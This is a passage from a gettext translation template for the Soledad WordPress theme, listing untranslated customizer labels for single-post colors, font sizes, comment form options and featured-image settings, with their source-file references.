msgid "Color for Posts Meta on Template Style 5, 6, 8"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:36
msgid "Header Background for Template Style 9 & 10"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:37
msgid "Post Title Color for Template Style 10"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:38
msgid "Post SubTitle Color for Template Style 10"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:39
msgid "Categories Color for Template Style 10"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:40
msgid "Color for Posts Meta on Template Style 10"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:41
msgid "Color for Breadcrumb on Template Style 10"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:46
msgid ""
"This option doesn't apply for move post title & meta below featured image"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:61
msgid "Tags Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:68
msgid "Tags Borders Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:75
msgid "Tags Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:82
msgid "Tags Hover Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:89
msgid "Tags Hover Borders Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:96
msgid "Tags Hover Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:103
msgid "Share Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:110
msgid "Share Text Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:117
msgid "Share Text Borders Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:124
msgid "Share Box Icon Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:131
msgid "Share Box Icon Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:138
msgid "Numbers Like Of Post Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:145
msgid "Icon Background Color for Share Box Style 3"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:152
msgid "Icon Background Hover Color for Share Box Style 3"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:159
msgid "Custom Text Color Inside Post Content"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:166
msgid "Color for Links"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:174
msgid "Custom Color for H"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:183
#: inc/js_composer/shortcodes/pc_single_share/settings.php:127
msgid "Social Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:190
msgid "Social HoverBackground Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:197
#: inc/js_composer/shortcodes/pc_single_share/settings.php:141
msgid "Social Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:204
#: inc/js_composer/shortcodes/pc_single_share/settings.php:148
msgid "Social Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:211
#: inc/js_composer/shortcodes/pc_single_share/settings.php:155
msgid "Social Borders Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:218
msgid "Social Hover Boders Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:225
#: inc/js_composer/shortcodes/pc_single_share/settings.php:169
msgid "Plus Button Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:232
#: inc/js_composer/shortcodes/pc_single_share/settings.php:176
msgid "Plus Button Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:239
#: inc/js_composer/shortcodes/pc_single_share/settings.php:183
msgid "Plus Button Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:246
msgid "Plus Button Hover Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:254
msgid "Blockquote Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:261
msgid "Blockquote Author Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:268
msgid "Blockquote Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:275
msgid "Borders & Icon Colors on Blockquote"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:280
#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:303
msgid "Author Box"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:282
#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:305
msgid ""
"Please check <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\"https://soledad.pencidesign.net/soledad-document/#author-box\">this "
"guide</a> to know how to setup Author Box"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:289
msgid "Author Box Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:296
msgid "Author Box Borders Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:310
#: inc/js_composer/shortcodes/pc_single_comments/settings.php:134
msgid "Author Name Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:317
msgid "Author Description Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:324
msgid "Author Social Icons Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:331
msgid "Author Social Icons Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:336
#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:370
msgid "Next/Previous Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:344
msgid "Color for \"previous post\", \"next post\" Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:358
msgid "Color for Post Titles on Hover"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:363
#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:416
msgid "Related Posts & Comments"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:371
msgid "Color for Sections Heading"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:378
msgid "Color for Lines Before & After Sections Heading"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:385
msgid "Post Titles Color on Related Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:392
msgid "Post Titles Hover Color on Related Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:399
msgid "Post Date Color on Related Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:406
msgid "Comment Author Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:413
msgid "Comment Author Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:420
#: inc/js_composer/shortcodes/pc_single_comments/settings.php:141
msgid "Comment Date Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:427
msgid "Reply/Edit Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:434
msgid "Comment Content Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:441
msgid "Comment Form Inputs & Textarea Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:442
msgid ""
"For change color on \"Submit\" button color, check options on General > "
"Colors > General Buttons"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:449
msgid "GDPR message & \"Save my name, email..\" Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:461
#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:660
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:172
msgid "Related Posts Popup"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:463
#: inc/customizer/config/sections/penci_section_spost_related_posts_section.php:174
msgid ""
"Please check <a class=\"wp-customizer-link\" target=\"_blank\" "
"href=\"https://imgresources.s3.amazonaws.com/related-posts-popup.png\">this "
"image</a> to know what is \"Related Posts Popup\""
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:470
msgid "Custom Heading Background on Related Posts Popup"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:477
msgid "Custom Heading Text Color on Related Posts Popup"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:484
msgid "Close Button Color on Related Posts Popup"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:491
msgid "Background Color for Related Posts Popup"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:498
msgid "Custom Color for Post Titles on Related Posts Popup"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:505
msgid "Custom Color for Post Titles Hover on Related Posts Popup"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:512
msgid "Custom Color for Date on Related Posts Popup"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:519
msgid "Custom Color for Borders on Related Posts Popup"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:526
#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:727
#: inc/template-builder/single-elements/smartlists.php:41
msgid "Smart Lists"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:535
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:28
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:91
msgid "Heading Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:543
msgid "Items Number Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:551
msgid "Items Number Border Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:559
msgid "Items Number Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:567
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:599
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:613
msgid "Description Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:575
msgid "Buttons Text Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:583
msgid "Buttons Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:591
msgid "Buttons Border Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:599
msgid "Buttons Text Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:607
msgid "Buttons Background Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:615
msgid "Buttons Border Hover Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:623
msgid "Navigation Background Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_colors_section.php:631
msgid "Navigation Border Color"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_comments_section.php:6
msgid "Hide Comments & Comment Form"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_comments_section.php:13
msgid "Enable Comment Ratings"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_comments_section.php:21
#: inc/js_composer/shortcodes/pc_single_comments/settings.php:17
msgid "Move Comment Form to Above the List Comments"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_comments_section.php:29
#: inc/js_composer/shortcodes/pc_single_comments/settings.php:38
#: inc/template-builder/single-elements/comments.php:59
msgid "Hide \"Name\" field on Comment Form"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_comments_section.php:32
#: inc/customizer/config/sections/penci_section_spost_comments_section.php:40
msgid ""
"Note that: If you want to hide this field - you need go to Dashboard > "
"Settings > Discussion > and un-check to \"Comment author must fill out name "
"and email\" - check <a class=\"wp-customizer-link\" href=\"https://"
"imgresources.s3.amazonaws.com/discussion_settings.png\" "
"target=\"_blank\">this image</a> for more."
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_comments_section.php:38
#: inc/js_composer/shortcodes/pc_single_comments/settings.php:45
#: inc/template-builder/single-elements/comments.php:65
msgid "Hide \"Email\" field on Comment Form"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_comments_section.php:47
#: inc/js_composer/shortcodes/pc_single_comments/settings.php:52
#: inc/template-builder/single-elements/comments.php:71
msgid "Hide \"Website\" field on Comment Form"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_comments_section.php:55
#: inc/js_composer/shortcodes/pc_single_comments/settings.php:59
#: inc/template-builder/single-elements/comments.php:76
msgid ""
"Remove checkbox \"Save my name, email, and website in this browser for the "
"next time I comment.\""
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_comments_section.php:57
msgid ""
"Note that: This checkbox just appears when you use Wordpress from version "
"4.9.6"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_comments_section.php:64
#: inc/js_composer/shortcodes/pc_single_comments/settings.php:66
#: inc/template-builder/single-elements/comments.php:82
msgid "Enable GDPR message on Comment Form"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_comments_section.php:72
#: inc/js_composer/shortcodes/pc_single_comments/settings.php:73
#: inc/template-builder/single-elements/comments.php:87
msgid "Custom GDPR Message on Comment Form"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_cpost_meta_section.php:6
msgid "Showing Custom Meta Fields?"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_cpost_meta_section.php:14
msgid "Showing Custom Post Meta Fields"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_cpost_meta_section.php:15
msgid "Secperate with the commas"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_cpost_meta_section.php:22
msgid "Showing fields from Advanced Custom Fields plugin"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_cpost_meta_section.php:23
msgid ""
"You can show your own custom fields easily by using the <a class=\"wp-"
"customizer-link\" href=\"https://wordpress.org/plugins/advanced-custom-"
"fields/\" target=\"_blank\">Advanced Custom Fields</a> plugin."
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_cpost_meta_section.php:33
#: inc/elementor/base/base-widget.php:1220
#: inc/js_composer/inc/vc-params-helper.php:439
msgid "Showing Custom Post Meta Label"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_cpost_meta_section.php:34
msgid ""
"This option just applies for the fields from Advanced Custom Fields only."
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_cpost_meta_section.php:42
#: inc/elementor/base/base-widget.php:1225
#: inc/js_composer/inc/vc-params-helper.php:449
msgid "Custom Divider Between Meta Label & Meta Value"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_cptype_builder_section.php:22
msgid "This option will override the pre-build Single  "
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_cptype_builder_section.php:24
msgid "Custom Single "
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_cptype_builder_section.php:35
msgid "Your website doesn't have any custom post types that need to be built."
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:28
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:320
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:339
#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:84
#: inc/js_composer/inc/vc-params-helper.php:1005
#: inc/js_composer/inc/vc-params-helper.php:1291
#: inc/js_composer/inc/vc-params-helper.php:1532
#: inc/js_composer/inc/vc-params-helper.php:1764
#: inc/js_composer/shortcodes/posts_slider/settings.php:111
#: inc/js_composer/shortcodes/recent_posts/settings.php:280
msgid "Font Size for Post Title"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:62
msgid "Font Size for SubTitle"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:88
msgid "Font Size for Post Title on Style 3"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:89
msgid "Font Size for Post Title on Style 4"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:90
msgid "Font Size for Post Title on Style 5"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:91
msgid "Font Size for Post Title on Style 6"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:92
msgid "Font Size for Post Title on Style 7"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:93
msgid "Font Size for Post Title on Style 8"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:94
msgid "Font Size for Post Title on Style 9"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:95
msgid "Font Size for Post Title on Style 10"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:163
msgid "Font Size for H"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:199
msgid "Font Size Text Inside Post Content"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:227
msgid "Font Size for Blockquote"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:246
msgid "Font Size for Blockquote Author"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:265
msgid "Font Size for Post Tags"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:285
msgid "Font Size for Share Box"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:311
msgid "Font Size for Author Name"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:331
msgid "Font Size for Author Description"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:351
msgid "Font Size for Author Social Icons"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:377
msgid "The \"previous post\", \"next post\" Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:397
msgid "Font Size for Post Titles on Prev/Next Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:423
msgid "Font Size for Sections Heading"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:443
msgid "Font Size for Post Titles on Related Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:463
msgid "Font Size for Post Date on Related Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:483
msgid "Font Size for Stars Rating"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:503
msgid "Font Size for Rating Title"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:523
msgid "Font Size for Comment Author Name"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:543
msgid "Font Size for Comment Date"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:563
msgid "Font Size for Comment Content"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:582
msgid "Font Size for Reply/Edit Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:602
msgid "Font Size for Inputs on Comment Form"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:622
msgid "Font Size for Submit Button on Comment Form"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:642
msgid "Font Size for GDPR message & \"Save my name, email..\" Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:707
msgid "Font Size for Post Date"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:735
msgid "Font Size for Items Number"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:761
msgid "Font Size for Items Heading"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:796
msgid "Font Size for Items Text"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_fontsize_section.php:831
msgid "Font Size for Buttons"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:6
msgid "Single Posts Template"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:15
#: inc/customizer/config/sections/penci_section_spost_general_section.php:465
#: inc/customizer/config/sections/penci_section_spost_general_section.php:481
#: inc/customizer/config/sections/penci_section_spost_general_section.php:497
#: inc/customizer/config/sections/penci_section_spost_general_section.php:513
#: inc/customizer/config/sections/penci_section_spost_general_section.php:529
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:252
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:141
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:108
#: inc/elementor/base/base-widget.php:181
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:73
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:147
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:369
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:200
#: inc/js_composer/inc/vc-params-helper.php:137
#: inc/js_composer/inc/vc-params-helper.php:852
#: inc/js_composer/shortcodes/big_grid/settings.php:45
#: inc/js_composer/shortcodes/counter_up/settings.php:203
#: inc/js_composer/shortcodes/video_playlist/settings.php:99
msgid "Style 6"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:18
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:76
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:150
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:372
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:80
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:203
#: inc/js_composer/inc/vc-params-helper.php:140
#: inc/js_composer/inc/vc-params-helper.php:855
#: inc/js_composer/shortcodes/big_grid/settings.php:48
#: inc/js_composer/shortcodes/counter_up/settings.php:206
#: inc/js_composer/shortcodes/video_playlist/settings.php:102
#: inc/js_composer/shortcodes/video_playlist/settings.php:103
msgid "Style 9"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:33
msgid ""
"Will override the pre-build single posts template above. You can add new and "
"edit a single post template on <a class=\"wp-customizer-link\" "
"target=\"_blank\" href=\""
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:35
msgid "Custom Post Builder Template"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:43
msgid "Move Categories, Post Title, Post Meta To Bellow Featured Image"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:50
msgid "Enable Video Floating"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:51
msgid ""
"This option apply for the post format Video. The video will float in the "
"corner as you scroll down outside the main video at the top."
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:58
msgid "Video Floating Position"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:62
#: inc/customizer/config/sections/pencidesign_toc_general_section.php:70
#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:31
#: inc/dashboard/lib/meta-box/inc/fields/background.php:109
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:317
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:343
#: inc/js_composer/shortcodes/big_grid/settings.php:242
#: inc/js_composer/shortcodes/big_grid/settings.php:266
msgid "Top Left"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:63
#: inc/customizer/config/sections/pencidesign_toc_general_section.php:72
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:167
#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:35
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:134
#: inc/dashboard/lib/meta-box/inc/fields/background.php:115
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:319
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:345
#: inc/js_composer/shortcodes/big_grid/settings.php:244
#: inc/js_composer/shortcodes/big_grid/settings.php:268
msgid "Bottom Left"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:64
#: inc/customizer/config/sections/pencidesign_toc_general_section.php:71
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:166
#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:32
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:133
#: inc/dashboard/lib/meta-box/inc/fields/background.php:111
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:316
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:342
#: inc/js_composer/shortcodes/big_grid/settings.php:241
#: inc/js_composer/shortcodes/big_grid/settings.php:265
msgid "Top Right"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:65
#: inc/customizer/config/sections/pencidesign_toc_general_section.php:73
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:168
#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:36
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:135
#: inc/dashboard/lib/meta-box/inc/fields/background.php:117
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:318
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:344
#: inc/js_composer/shortcodes/big_grid/settings.php:243
#: inc/js_composer/shortcodes/big_grid/settings.php:267
msgid "Bottom Right"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:71
msgid "Custom Floating Video Mobile Width"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:78
msgid "Custom Floating Video Width"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:105
msgid "Single Posts Sidebar Layout"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:109
#: inc/meta-box/categories-meta-box.php:82 inc/meta-box/meta-box.php:784
msgid "Right Sidebar"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:110
#: inc/meta-box/categories-meta-box.php:81 inc/meta-box/meta-box.php:783
msgid "Left Sidebar"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:111
msgid "Two Sidebars"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:112
#: inc/meta-box/categories-meta-box.php:84 inc/meta-box/meta-box.php:786
msgid "No Sidebar"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:113
msgid "No Sidebar with Container Width Smaller"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:119
msgid "Default Smart Lists Style"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:134
msgid ""
"Custom Width for \"No Sidebar with Container Width Smaller\" Layout You "
"Selected Above"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:161
msgid "Custom Container Width on Single Posts Page"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:162
msgid "Minimum is 600px"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:181
msgid "Custom Container Width for Two Sidebars on Single Posts Page"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:182
msgid "Minimum is 800px"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:201
msgid "Custom Image Size for Featured Image"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:202
msgid "This option doesn't apply for two sidebars layout."
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:244
#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:27
#: inc/template-builder/single-elements/featured-overlay.php:44
msgid "Enable Parallax on Featured Image"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:247
msgid "This feature does not apply for Single Style 1 & 2"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:252
msgid "Enable Font Sizes Changer"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:259
msgid "Disable Parallax on Featured Image on Mobile"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:266
msgid "Disable Auto Play for Single Slider Gallery & Posts Format Gallery"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:273
msgid "Hide Images Title on Galleries from The Theme"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:280
msgid "Disable Lightbox on Single Posts"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:287
#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:35
#: inc/template-builder/single-elements/featured-overlay.php:49
msgid "Hide Featured Image on Top"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:289
msgid ""
"Hide Featured images auto appears on single posts page - This option not "
"apply for Video format, Gallery format"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:309
msgid "Custom Border Radius for Featured Image"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:312
msgid ""
"You can use pixel or percent. E.g:  <strong>10px</strong>  or  <strong>10%</"
"strong>. If you want to disable border radius - fill 0"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:317
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:73
msgid "Custom Aspect Ratio for Featured Image"
msgstr ""

#: inc/customizer/config/sections/penci_section_spost_general_section.php:320
msgid ""
"The aspect ratio of an element describes the proportional relationship "
"between its width and its height. E.g: <strong>3:2</strong>. Default is "
